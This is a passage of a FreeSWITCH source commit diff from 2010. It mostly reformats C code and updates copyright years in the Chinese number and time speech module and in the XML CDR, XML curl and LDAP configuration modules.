if ((*p >= '0' && *p <= '9')) {
*q++ = *p;
} else if (*p != ',') {
@@ -127,7 +127,7 @@
static char *strip_nonnumerics(char *in, char *out, switch_size_t len)
{
char *p = in;
- char *q = out;
+ char *q = out;
char *ret = out;
switch_size_t x = 0;
@@ -151,8 +151,8 @@
{
int in;
char sbuf[13] = "";
- char digits[11];
- int i;
+ char digits[11];
+ int i;
if (!(tosay = strip_commas(tosay, sbuf, sizeof(sbuf))) || strlen(tosay) > 9) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Parse Error!\n");
@@ -168,107 +168,83 @@
say_file("digits/ordinal.wav");
/* Fall through */
case SSM_PRONOUNCED:
- for (i = 0; i <= 9; i++)
- {
- switch (i)
- {
- case 0:
- /* Billions column */
- if (digits[i] != '0')
- {
- if (digits[i] != '1')
- say_file("digits/%c.wav", digits[i]);
- say_file("digits/10.wav");
- }
- break;
- case 1:
- /* Hundred millions columns */
- if (digits[i] != '0')
- say_file("digits/%c.wav", digits[i]);
- if (memcmp (digits, "00", 2) != 0)
- say_file("digits/100000000.wav");
- break;
- case 2:
- case 6:
- /* Ten millions or thousands column */
- if (digits[i] != '0')
- {
- say_file("digits/%c.wav", digits[i]);
- say_file("digits/1000.wav");
- }
- break;
- case 3:
- case 7:
- /* Millions or hundreds column */
- if (digits[i] != '0')
- {
- say_file("digits/%c.wav", digits[i]);
- say_file("digits/100.wav");
- }
- break;
- case 4:
- /* Hundred thousands column */
- if (digits[i] != '0')
- {
- if (digits[i] != '1'
- ||
- memcmp (digits, "0000", 4) != 0)
- {
- say_file("digits/%c.wav", digits[i]);
- }
- }
- else
- {
- if (digits[i + 1] != '0'
- &&
- memcmp (digits, "0000", 4) != 0)
- {
- say_file("digits/%c.wav", digits[i]);
- }
- }
- if (digits[i] != '0')
- say_file("digits/10.wav");
- break;
-
- case 5:
- /* Ten thousands column */
- if (digits[i] != '0')
- {
- say_file("digits/%c.wav", digits[i]);
- if (memcmp (digits + 2, "0000", 4) != 0)
- say_file("digits/10000.wav");
- }
- break;
- case 8:
- /* Tens column */
- if (digits[i] != '0')
- {
- if (digits[i] != '1'
- ||
- memcmp (digits, "00000000", 8) != 0)
- {
- say_file("digits/%c.wav", digits[i]);
- }
- }
- else
- {
- if (digits[9] != '0'
- &&
- memcmp (digits, "00000000", 8) != 0)
- {
- say_file("digits/%c.wav", digits[i]);
- }
- }
- if (digits[8] != '0')
- say_file("digits/10.wav");
- break;
- case 9:
- /* Units column */
- if (digits[9] != '0')
- say_file("digits/%c.wav", digits[i]);
- break;
- }
- }
+ for (i = 0; i <= 9; i++) {
+ switch (i) {
+ case 0:
+ /* Billions column */
+ if (digits[i] != '0') {
+ if (digits[i] != '1')
+ say_file("digits/%c.wav", digits[i]);
+ say_file("digits/10.wav");
+ }
+ break;
+ case 1:
+ /* Hundred millions columns */
+ if (digits[i] != '0')
+ say_file("digits/%c.wav", digits[i]);
+ if (memcmp(digits, "00", 2) != 0)
+ say_file("digits/100000000.wav");
+ break;
+ case 2:
+ case 6:
+ /* Ten millions or thousands column */
+ if (digits[i] != '0') {
+ say_file("digits/%c.wav", digits[i]);
+ say_file("digits/1000.wav");
+ }
+ break;
+ case 3:
+ case 7:
+ /* Millions or hundreds column */
+ if (digits[i] != '0') {
+ say_file("digits/%c.wav", digits[i]);
+ say_file("digits/100.wav");
+ }
+ break;
+ case 4:
+ /* Hundred thousands column */
+ if (digits[i] != '0') {
+ if (digits[i] != '1' || memcmp(digits, "0000", 4) != 0) {
+ say_file("digits/%c.wav", digits[i]);
+ }
+ } else {
+ if (digits[i + 1] != '0' && memcmp(digits, "0000", 4) != 0) {
+ say_file("digits/%c.wav", digits[i]);
+ }
+ }
+ if (digits[i] != '0')
+ say_file("digits/10.wav");
+ break;
+
+ case 5:
+ /* Ten thousands column */
+ if (digits[i] != '0') {
+ say_file("digits/%c.wav", digits[i]);
+ if (memcmp(digits + 2, "0000", 4) != 0)
+ say_file("digits/10000.wav");
+ }
+ break;
+ case 8:
+ /* Tens column */
+ if (digits[i] != '0') {
+ if (digits[i] != '1' || memcmp(digits, "00000000", 8) != 0) {
+ say_file("digits/%c.wav", digits[i]);
+ }
+ } else {
+ if (digits[9] != '0' && memcmp(digits, "00000000", 8) != 0) {
+ say_file("digits/%c.wav", digits[i]);
+ }
+ }
+ if (digits[8] != '0')
+ say_file("digits/10.wav");
+ break;
+ case 9:
+ /* Units column */
+ if (digits[9] != '0')
+ say_file("digits/%c.wav", digits[i]);
+ break;
+ }
+ }
break;
case SSM_ITERATED:
{
@@ -327,10 +303,7 @@
}
static switch_status_t zh_say_time(switch_core_session_t *session,
- char *tosay,
- switch_say_type_t type,
- switch_say_method_t method,
- switch_input_args_t *args)
+ char *tosay, switch_say_type_t type, switch_say_method_t method, switch_input_args_t *args)
{
int32_t t;
switch_time_t target = 0;
@@ -340,7 +313,7 @@
switch_time_exp_t tm2;
#endif
uint8_t say_date = 0;
- uint8_t say_time = 0;
+ uint8_t say_time = 0;
if (type == SST_TIME_MEASUREMENT) {
int64_t hours = 0;
@@ -386,16 +359,16 @@
if (hours) {
if (hours == 2) {
say_file("time/2s.wav");
- } else {
- say_num(hours, SSM_PRONOUNCED);
+ } else {
+ say_num(hours, SSM_PRONOUNCED);
}
say_file("time/hours.wav");
}
if (minutes) {
if (minutes == 2) {
say_file("time/2s.wav");
- } else {
- say_num(minutes, SSM_PRONOUNCED);
+ } else {
+ say_num(minutes, SSM_PRONOUNCED);
}
say_file("time/minute.wav");
} else {
@@ -408,12 +381,12 @@
if (seconds) {
if (seconds == 2) {
say_file("time/2s.wav");
- } else {
- say_num(hours, SSM_PRONOUNCED);
+ } else {
+ say_num(hours, SSM_PRONOUNCED);
}
say_file("time/seconds.wav");
} else {
- if (hours || minutes) {
+ if (hours || minutes) {
say_file("digits/0.wav");
say_file("time/second.wav");
}
@@ -430,8 +403,7 @@
switch (type) {
case SST_CURRENT_DATE_TIME:
- say_date =
- say_time = 1;
+ say_date = say_time = 1;
break;
case SST_CURRENT_DATE:
say_date = 1;
@@ -444,7 +416,7 @@
}
if (say_date) {
- say_num(tm.tm_year + 1900, SSM_ITERATED);
+ say_num(tm.tm_year + 1900, SSM_ITERATED);
say_file("time/year.wav");
say_num(tm.tm_mon + 1, SSM_PRONOUNCED);
say_file("time/month.wav");
@@ -453,52 +425,39 @@
say_file("time/day-%d.wav", tm.tm_wday);
#if 0
- tm = *localtime(&then);
+ tm = *localtime(&then);
- this_morning = switch_micro_time_now();
- switch_time_exp_lt(&tm2, this_morning);
- tm2->tm_hour = 0;
- tm2->tm_min = 0;
- tm2->tm_sec = 0;
- this_morning = mktime(tm2);
+ this_morning = switch_micro_time_now();
+ switch_time_exp_lt(&tm2, this_morning);
+ tm2->tm_hour = 0;
+ tm2->tm_min = 0;
+ tm2->tm_sec = 0;
+ this_morning = mktime(tm2);
- if (this_morning <= then && then < (this_morning + 86400L))
- {
+ if (this_morning <= then && then < (this_morning + 86400L)) {
say_file("time/today.wav");
- }
- else if ((this_morning - 86400L) <= then && then < this_morning)
- {
+ } else if ((this_morning - 86400L) <= then && then < this_morning) {
say_file("time/yesterday.wav");
- }
- else if ((this_morning + 86400L) <= then && then < (this_morning + 2*86400L))
- {
+ } else if ((this_morning + 86400L) <= then && then < (this_morning + 2 * 86400L)) {
say_file("time/tomorrow.wav");
- }
- else if ((this_morning - 7*86400L) <= then && then < this_morning)
- {
- say_file("time/day-%d.wav", tm.tm_wday);
- }
- else
- {
- if (tm2->tm_year != tm.tm_year)
- {
- say_num(tm.tm_year + 1900, SSM_ITERATED);
- say_file("time/year.wav");
- }
- /*endif*/
- if (tm2->tm_year != tm.tm_year
- ||
- tm2->tm_mon != tm.tm_mon)
- {
- say_num(tm.tm_mon + 1, SSM_PRONOUNCED);
- say_file("time/month.wav");
- }
- /*endif*/
- /* Always say the day and the day of the week */
- say_num(tm.tm_mday, SSM_PRONOUNCED);
- say_file("time/day.wav");
- say_file("time/day-%d.wav", tm.tm_wday);
- }
+ } else if ((this_morning - 7 * 86400L) <= then && then < this_morning) {
+ say_file("time/day-%d.wav", tm.tm_wday);
+ } else {
+ if (tm2->tm_year != tm.tm_year) {
+ say_num(tm.tm_year + 1900, SSM_ITERATED);
+ say_file("time/year.wav");
+ }
+ /*endif */
+ if (tm2->tm_year != tm.tm_year || tm2->tm_mon != tm.tm_mon) {
+ say_num(tm.tm_mon + 1, SSM_PRONOUNCED);
+ say_file("time/month.wav");
+ }
+ /*endif */
+ /* Always say the day and the day of the week */
+ say_num(tm.tm_mday, SSM_PRONOUNCED);
+ say_file("time/day.wav");
+ say_file("time/day-%d.wav", tm.tm_wday);
+ }
#endif
}
@@ -506,13 +465,13 @@
int32_t hour = tm.tm_hour;
if (hour < 6) {
- say_file("time/morning.wav");
+ say_file("time/morning.wav");
} else if (hour < 12) {
- say_file("time/am.wav");
+ say_file("time/am.wav");
} else if (tm.tm_hour < 18) {
- say_file("time/pm.wav");
+ say_file("time/pm.wav");
} else {
- say_file("time/evening.wav");
+ say_file("time/evening.wav");
}
if (hour > 12)
hour -= 12;
@@ -530,7 +489,7 @@
} else {
say_num(tm.tm_min, SSM_PRONOUNCED);
}
- say_file("time/minute.wav");
+ say_file("time/minute.wav");
}
return SWITCH_STATUS_SUCCESS;
}
Modified: freeswitch/trunk/src/mod/xml_int/mod_xml_cdr/mod_xml_cdr.c (16578 => 16579)
--- freeswitch/trunk/src/mod/xml_int/mod_xml_cdr/mod_xml_cdr.c 2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/xml_int/mod_xml_cdr/mod_xml_cdr.c 2010-02-06 03:38:24 UTC (rev 16579)
@@ -1,6 +1,6 @@
/*
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
*
* Version: MPL 1.1
*
@@ -42,7 +42,7 @@
static struct {
char *cred;
- char *urls[MAX_URLS+1];
+ char *urls[MAX_URLS + 1];
int url_count;
int url_index;
switch_thread_rwlock_t *log_path_lock;
@@ -110,27 +110,23 @@
switch_safe_free(globals.log_dir);
globals.log_dir = path;
switch_thread_rwlock_unlock(globals.log_path_lock);
- }
- else {
+ } else {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Failed to create new mod_xml_cdr log_dir path\n");
switch_safe_free(path);
status = SWITCH_STATUS_FALSE;
}
- }
- else {
+ } else {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Failed to generate new mod_xml_cdr log_dir path\n");
status = SWITCH_STATUS_FALSE;
}
- }
- else {
+ } else {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_NOTICE, "Setting log file path to %s\n", globals.base_log_dir);
if ((path = switch_safe_strdup(globals.base_log_dir))) {
switch_thread_rwlock_wrlock(globals.log_path_lock);
switch_safe_free(globals.log_dir);
globals.log_dir = path;
switch_thread_rwlock_unlock(globals.log_path_lock);
- }
- else {
+ } else {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Failed to set log_dir path\n");
status = SWITCH_STATUS_FALSE;
}
@@ -152,27 +148,23 @@
switch_safe_free(globals.err_log_dir);
globals.err_log_dir = path;
switch_thread_rwlock_unlock(globals.log_path_lock);
- }
- else {
+ } else {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Failed to create new mod_xml_cdr err_log_dir path\n");
switch_safe_free(path);
status = SWITCH_STATUS_FALSE;
}
- }
- else {
+ } else {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Failed to generate new mod_xml_cdr err_log_dir path\n");
status = SWITCH_STATUS_FALSE;
}
- }
- else {
+ } else {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_NOTICE, "Setting err log file path to %s\n", globals.base_err_log_dir);
if ((path = switch_safe_strdup(globals.base_err_log_dir))) {
switch_thread_rwlock_wrlock(globals.log_path_lock);
switch_safe_free(globals.err_log_dir);
globals.err_log_dir = path;
switch_thread_rwlock_unlock(globals.log_path_lock);
- }
- else {
+ } else {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Failed to set err_log_dir path\n");
status = SWITCH_STATUS_FALSE;
}
@@ -199,7 +191,7 @@
switch_channel_t *channel = switch_core_session_get_channel(session);
switch_status_t status = SWITCH_STATUS_FALSE;
int is_b;
- const char * a_prefix = "";
+ const char *a_prefix = "";
if (globals.shutdown) {
return SWITCH_STATUS_SUCCESS;
@@ -209,7 +201,8 @@
if (!globals.log_b && is_b) {
return SWITCH_STATUS_SUCCESS;
}
- if (!is_b && globals.prefix_a) a_prefix = "a_";
+ if (!is_b && globals.prefix_a)
+ a_prefix = "a_";
if (switch_ivr_generate_xml_cdr(session, &cdr) != SWITCH_STATUS_SUCCESS) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Error Generating Data!\n");
@@ -236,7 +229,7 @@
#ifdef _MSC_VER
if ((fd = open(path, O_WRONLY | O_CREAT | O_TRUNC, S_IRUSR | S_IWUSR)) > -1) {
#else
- if ((fd = open(path, O_WRONLY | O_CREAT | O_TRUNC, S_IRUSR | S_IWUSR| S_IRGRP | S_IWGRP | S_IROTH | S_IWOTH)) > -1) {
+ if ((fd = open(path, O_WRONLY | O_CREAT | O_TRUNC, S_IRUSR | S_IWUSR | S_IRGRP | S_IWGRP | S_IROTH | S_IWOTH)) > -1) {
#endif
int wrote;
wrote = write(fd, xml_text, (unsigned) strlen(xml_text));
@@ -253,14 +246,13 @@
}
switch_safe_free(path);
}
- }
- else {
+ } else {
switch_thread_rwlock_unlock(globals.log_path_lock);
}
/* try to post it to the web server */
if (globals.url_count) {
- char* destUrl = NULL;
+ char *destUrl = NULL;
curl_handle = curl_easy_init();
if (globals.encode == ENCODING_TEXTXML) {
@@ -306,19 +298,19 @@
slist = curl_slist_append(slist, "Expect:");
curl_easy_setopt(curl_handle, CURLOPT_HTTPHEADER, slist);
}
-
+
if (globals.ssl_cert_file) {
curl_easy_setopt(curl_handle, CURLOPT_SSLCERT, globals.ssl_cert_file);
}
-
+
if (globals.ssl_key_file) {
curl_easy_setopt(curl_handle, CURLOPT_SSLKEY, globals.ssl_key_file);
}
-
+
if (globals.ssl_key_password) {
curl_easy_setopt(curl_handle, CURLOPT_SSLKEYPASSWD, globals.ssl_key_password);
}
-
+
if (globals.ssl_version) {
if (!strcasecmp(globals.ssl_version, "SSLv3")) {
curl_easy_setopt(curl_handle, CURLOPT_SSLVERSION, CURL_SSLVERSION_SSLv3);
@@ -326,7 +318,7 @@
curl_easy_setopt(curl_handle, CURLOPT_SSLVERSION, CURL_SSLVERSION_TLSv1);
}
}
-
+
if (globals.ssl_cacert_file) {
curl_easy_setopt(curl_handle, CURLOPT_CAINFO, globals.ssl_cacert_file);
}
@@ -340,7 +332,7 @@
if (cur_try > 0) {
switch_yield(globals.delay * 1000000);
}
-
+
destUrl = switch_mprintf("%s?uuid=%s", globals.urls[globals.url_index], switch_core_session_get_uuid(session));
curl_easy_setopt(curl_handle, CURLOPT_URL, destUrl);
@@ -348,11 +340,11 @@
curl_easy_setopt(curl_handle, CURLOPT_SSL_VERIFYPEER, 0);
curl_easy_setopt(curl_handle, CURLOPT_SSL_VERIFYHOST, 0);
}
-
+
if (globals.enable_cacert_check) {
curl_easy_setopt(curl_handle, CURLOPT_SSL_VERIFYPEER, TRUE);
}
-
+
if (globals.enable_ssl_verifyhost) {
curl_easy_setopt(curl_handle, CURLOPT_SSL_VERIFYHOST, 2);
}
@@ -363,7 +355,7 @@
if (httpRes == 200) {
goto success;
} else {
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Got error [%ld] posting to web server [%s]\n",
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Got error [%ld] posting to web server [%s]\n",
httpRes, globals.urls[globals.url_index]);
globals.url_index++;
switch_assert(globals.url_count <= MAX_URLS);
@@ -449,11 +441,11 @@
/*.on_hangup */ NULL,
/*.on_exchange_media */ NULL,
/*.on_soft_execute */ NULL,
- /*.on_consume_media*/ NULL,
- /*.on_hibernate*/ NULL,
- /*.on_reset*/ NULL,
- /*.on_park*/ NULL,
- /*.on_reporting*/ my_on_reporting
+ /*.on_consume_media */ NULL,
+ /*.on_hibernate */ NULL,
+ /*.on_reset */ NULL,
+ /*.on_park */ NULL,
+ /*.on_reporting */ my_on_reporting
};
SWITCH_MODULE_LOAD_FUNCTION(mod_xml_cdr_load)
@@ -477,7 +469,7 @@
globals.disable100continue = 0;
globals.pool = pool;
globals.auth_scheme = CURLAUTH_BASIC;
-
+
switch_thread_rwlock_create(&globals.log_path_lock, pool);
/* parse the config */
@@ -558,7 +550,7 @@
globals.auth_scheme = 0;
val++;
}
-
+
if (!strcasecmp(val, "basic")) {
globals.auth_scheme |= CURLAUTH_BASIC;
} else if (!strcasecmp(val, "digest")) {
@@ -603,7 +595,7 @@
{
globals.shutdown = 1;
-
+
switch_core_remove_state_handler(&state_handlers);
return SWITCH_STATUS_SUCCESS;
}
Modified: freeswitch/trunk/src/mod/xml_int/mod_xml_curl/mod_xml_curl.c (16578 => 16579)
--- freeswitch/trunk/src/mod/xml_int/mod_xml_curl/mod_xml_curl.c 2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/xml_int/mod_xml_curl/mod_xml_curl.c 2010-02-06 03:38:24 UTC (rev 16579)
@@ -1,6 +1,6 @@
/*
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
*
* Version: MPL 1.1
*
@@ -74,14 +74,14 @@
};
typedef struct hash_node {
- switch_hash_t* hash;
- struct hash_node* next;
+ switch_hash_t *hash;
+ struct hash_node *next;
} hash_node_t;
static struct {
- switch_memory_pool_t* pool;
- hash_node_t* hash_root;
- hash_node_t* hash_tail;
+ switch_memory_pool_t *pool;
+ hash_node_t *hash_root;
+ hash_node_t *hash_tail;
} globals;
#define XML_CURL_SYNTAX "[debug_on|debug_off]"
@@ -120,7 +120,7 @@
config_data->bytes += realsize;
if (config_data->bytes > config_data->max_bytes) {
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Oversized file detected [%d bytes]\n", (int)config_data->bytes);
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Oversized file detected [%d bytes]\n", (int) config_data->bytes);
config_data->err = 1;
return 0;
}
@@ -154,7 +154,7 @@
char basic_data[512];
char *uri = NULL;
char *dynamic_url = NULL;
-
+
gethostname(hostname, sizeof(hostname));
if (!binding) {
@@ -170,7 +170,7 @@
return xml;
}
-
+
switch_snprintf(basic_data, sizeof(basic_data), "hostname=%s§ion=%s&tag_name=%s&key_name=%s&key_value=%s",
hostname, section, switch_str_nil(tag_name), switch_str_nil(key_name), switch_str_nil(key_value));
@@ -198,7 +198,7 @@
uri = malloc(strlen(data) + strlen(dynamic_url) + 16);
switch_assert(uri);
sprintf(uri, "%s%c%s", dynamic_url, strchr(dynamic_url, '?') != NULL ? '&' : '?', data);
- }
+ }
switch_uuid_get(&uuid);
switch_uuid_format(uuid_str, &uuid);
@@ -237,7 +237,7 @@
if (binding->timeout) {
curl_easy_setopt(curl_handle, CURLOPT_TIMEOUT, binding->timeout);
- curl_easy_setopt(curl_handle, CURLOPT_NOSIGNAL, 1);
+ curl_easy_setopt(curl_handle, CURLOPT_NOSIGNAL, 1);
}
if (binding->disable100continue) {
@@ -248,19 +248,19 @@
if (binding->enable_cacert_check) {
curl_easy_setopt(curl_handle, CURLOPT_SSL_VERIFYPEER, TRUE);
}
-
+
if (binding->ssl_cert_file) {
curl_easy_setopt(curl_handle, CURLOPT_SSLCERT, binding->ssl_cert_file);
}
-
+
if (binding->ssl_key_file) {
curl_easy_setopt(curl_handle, CURLOPT_SSLKEY, binding->ssl_key_file);
}
-
+
if (binding->ssl_key_password) {
curl_easy_setopt(curl_handle, CURLOPT_SSLKEYPASSWD, binding->ssl_key_password);
}
-
+
if (binding->ssl_version) {
if (!strcasecmp(binding->ssl_version, "SSLv3")) {
curl_easy_setopt(curl_handle, CURLOPT_SSLVERSION, CURL_SSLVERSION_SSLv3);
@@ -268,15 +268,15 @@
curl_easy_setopt(curl_handle, CURLOPT_SSLVERSION, CURL_SSLVERSION_TLSv1);
}
}
-
+
if (binding->ssl_cacert_file) {
curl_easy_setopt(curl_handle, CURLOPT_CAINFO, binding->ssl_cacert_file);
}
-
+
if (binding->enable_ssl_verifyhost) {
curl_easy_setopt(curl_handle, CURLOPT_SSL_VERIFYHOST, 2);
}
-
+
if (binding->cookie_file) {
curl_easy_setopt(curl_handle, CURLOPT_COOKIEJAR, binding->cookie_file);
curl_easy_setopt(curl_handle, CURLOPT_COOKIEFILE, binding->cookie_file);
@@ -301,7 +301,8 @@
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Error Parsing Result!\n");
}
} else {
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Received HTTP error %ld trying to fetch %s\ndata: [%s]\n", httpRes, binding->url, data);
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Received HTTP error %ld trying to fetch %s\ndata: [%s]\n", httpRes, binding->url,
+ data);
xml = NULL;
}
}
@@ -359,7 +360,7 @@
char *ssl_cacert_file = NULL;
uint32_t enable_ssl_verifyhost = 0;
char *cookie_file = NULL;
- hash_node_t* hash_node;
+ hash_node_t *hash_node;
int auth_scheme = CURLAUTH_BASIC;
need_vars_map = 0;
vars_map = NULL;
@@ -381,7 +382,7 @@
auth_scheme = 0;
val++;
}
-
+
if (!strcasecmp(val, "basic")) {
auth_scheme |= CURLAUTH_BASIC;
} else if (!strcasecmp(val, "digest")) {
@@ -442,13 +443,13 @@
if (!url) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Binding has no url!\n");
if (vars_map)
- switch_core_hash_destroy(&vars_map);
+ switch_core_hash_destroy(&vars_map);
continue;
}
if (!(binding = malloc(sizeof(*binding)))) {
if (vars_map)
- switch_core_hash_destroy(&vars_map);
+ switch_core_hash_destroy(&vars_map);
goto done;
}
memset(binding, 0, sizeof(*binding));
@@ -472,53 +473,53 @@
}
binding->disable100continue = disable100continue;
- binding->use_get_style = method != NULL && strcasecmp(method,"post") != 0;
+ binding->use_get_style = method != NULL && strcasecmp(method, "post") != 0;
binding->use_dynamic_url = use_dynamic_url;
binding->enable_cacert_check = enable_cacert_check;
-
+
if (ssl_cert_file) {
binding->ssl_cert_file = strdup(ssl_cert_file);
}
-
+
if (ssl_key_file) {
binding->ssl_key_file = strdup(ssl_key_file);
}
-
+
if (ssl_key_password) {
binding->ssl_key_password = strdup(ssl_key_password);
}
-
+
if (ssl_version) {
binding->ssl_version = strdup(ssl_version);
}
-
+
if (ssl_cacert_file) {
binding->ssl_cacert_file = strdup(ssl_cacert_file);
}
-
+
binding->enable_ssl_verifyhost = enable_ssl_verifyhost;
-
+
if (cookie_file) {
binding->cookie_file = strdup(cookie_file);
}
binding->vars_map = vars_map;
-
+
if (vars_map) {
- switch_zmalloc(hash_node,sizeof(hash_node_t));
- hash_node->hash = vars_map;
- hash_node->next = NULL;
-
- if (!globals.hash_root) {
- globals.hash_root = hash_node;
- globals.hash_tail = globals.hash_root;
- }
-
- else {
- globals.hash_tail->next = hash_node;
- globals.hash_tail = globals.hash_tail->next;
- }
-
+ switch_zmalloc(hash_node, sizeof(hash_node_t));
+ hash_node->hash = vars_map;
+ hash_node->next = NULL;
+
+ if (!globals.hash_root) {
+ globals.hash_root = hash_node;
+ globals.hash_tail = globals.hash_root;
+ }
+
+ else {
+ globals.hash_tail->next = hash_node;
+ globals.hash_tail = globals.hash_tail->next;
+ }
+
}
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_NOTICE, "Binding [%s] XML Fetch Function [%s] [%s]\n",
@@ -541,7 +542,7 @@
/* connect my internal structure to the blank pointer passed to me */
*module_interface = switch_loadable_module_create_module_interface(pool, modname);
- memset(&globals,0,sizeof(globals));
+ memset(&globals, 0, sizeof(globals));
globals.pool = pool;
globals.hash_root = NULL;
globals.hash_tail = NULL;
@@ -562,15 +563,15 @@
SWITCH_MODULE_SHUTDOWN_FUNCTION(mod_xml_curl_shutdown)
{
- hash_node_t* ptr = NULL;
+ hash_node_t *ptr = NULL;
- while(globals.hash_root) {
- ptr = globals.hash_root;
- switch_core_hash_destroy(&ptr->hash);
- globals.hash_root = ptr->next;
- switch_safe_free(ptr);
+ while (globals.hash_root) {
+ ptr = globals.hash_root;
+ switch_core_hash_destroy(&ptr->hash);
+ globals.hash_root = ptr->next;
+ switch_safe_free(ptr);
}
-
+
switch_xml_unbind_search_function_ptr(xml_url_fetch);
curl_global_cleanup();
return SWITCH_STATUS_SUCCESS;
Modified: freeswitch/trunk/src/mod/xml_int/mod_xml_ldap/lutil_ldap.h (16578 => 16579)
--- freeswitch/trunk/src/mod/xml_int/mod_xml_ldap/lutil_ldap.h 2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/xml_int/mod_xml_ldap/lutil_ldap.h 2010-02-06 03:38:24 UTC (rev 16579)
@@ -23,36 +23,23 @@
* Include file for lutil LDAP routines
*/
-LDAP_BEGIN_DECL
+LDAP_BEGIN_DECL LDAP_LUTIL_F(void)
+ lutil_sasl_freedefs LDAP_P((void *defaults));
-LDAP_LUTIL_F( void )
-lutil_sasl_freedefs LDAP_P((
- void *defaults ));
+LDAP_LUTIL_F(void *)
+ lutil_sasl_defaults LDAP_P((LDAP * ld, char *mech, char *realm, char *authcid, char *passwd, char *authzid));
-LDAP_LUTIL_F( void * )
-lutil_sasl_defaults LDAP_P((
- LDAP *ld,
- char *mech,
- char *realm,
- char *authcid,
- char *passwd,
- char *authzid ));
+LDAP_LUTIL_F(int)
+ lutil_sasl_interact LDAP_P((LDAP * ld, unsigned flags, void *defaults, void *p));
-LDAP_LUTIL_F( int )
-lutil_sasl_interact LDAP_P((
- LDAP *ld, unsigned flags, void *defaults, void *p ));
-
LDAP_END_DECL
-
#endif /* _LUTIL_LDAP_H */
-
-typedef struct lutil_sasl_defaults_s {
- char *mech;
- char *realm;
- char *authcid;
- char *passwd;
- char *authzid;
- char **resps;
- int nresps;
-} lutilSASLdefaults;
-
+ typedef struct lutil_sasl_defaults_s {
+ char *mech;
+ char *realm;
+ char *authcid;
+ char *passwd;
+ char *authzid;
+ char **resps;
+ int nresps;
+ } lutilSASLdefaults;
Modified: freeswitch/trunk/src/mod/xml_int/mod_xml_ldap/mod_xml_ldap.c (16578 => 16579)
--- freeswitch/trunk/src/mod/xml_int/mod_xml_ldap/mod_xml_ldap.c 2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/xml_int/mod_xml_ldap/mod_xml_ldap.c 2010-02-06 03:38:24 UTC (rev 16579)
@@ -1,6 +1,6 @@
/*
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
*
* Version: MPL 1.1
*
@@ -111,7 +111,8 @@
return SWITCH_STATUS_SUCCESS;
}
-static switch_status_t xml_ldap_result(void *ldap_connection, xml_binding_t *binding, switch_xml_t *xml, int *off, const xml_ldap_query_type_t query_type)
+static switch_status_t xml_ldap_result(void *ldap_connection, xml_binding_t *binding, switch_xml_t *xml, int *off,
+ const xml_ldap_query_type_t query_type)
{
switch (query_type) {
case XML_LDAP_DIRECTORY:
@@ -334,7 +335,7 @@
- if ((ldap->ld = (LDAP*)ldap_init(binding->host, LDAP_PORT)) == NULL) {
+ if ((ldap->ld = (LDAP *) ldap_init(binding->host, LDAP_PORT)) == NULL) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Unable to connect to ldap server.%s\n", binding->host);
goto cleanup;
}
@@ -343,7 +344,7 @@
goto cleanup;
}
- ldap_set_option( ldap->ld, LDAP_OPT_X_SASL_SECPROPS, &ldap->sp );
+ ldap_set_option(ldap->ld, LDAP_OPT_X_SASL_SECPROPS, &ldap->sp);
@@ -353,8 +354,11 @@
goto cleanup;
}
} else {
- if (ldap_sasl_interactive_bind_s(ldap->ld, NULL, binding->defaults->mech, NULL, NULL, (unsigned)(intptr_t)LDAP_SASL_SIMPLE, lutil_sasl_interact, binding->defaults ) != LDAP_SUCCESS) {
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Unable to sasl_bind to ldap server %s as %s\n", binding->host, binding->defaults->authcid);
+ if (ldap_sasl_interactive_bind_s
+ (ldap->ld, NULL, binding->defaults->mech, NULL, NULL, (unsigned) (intptr_t) LDAP_SASL_SIMPLE, lutil_sasl_interact,
+ binding->defaults) != LDAP_SUCCESS) {
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Unable to sasl_bind to ldap server %s as %s\n", binding->host,
+ binding->defaults->authcid);
goto cleanup;
}
}
@@ -459,8 +463,7 @@
}
if (!binding->basedn || !binding->filter) {
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR,
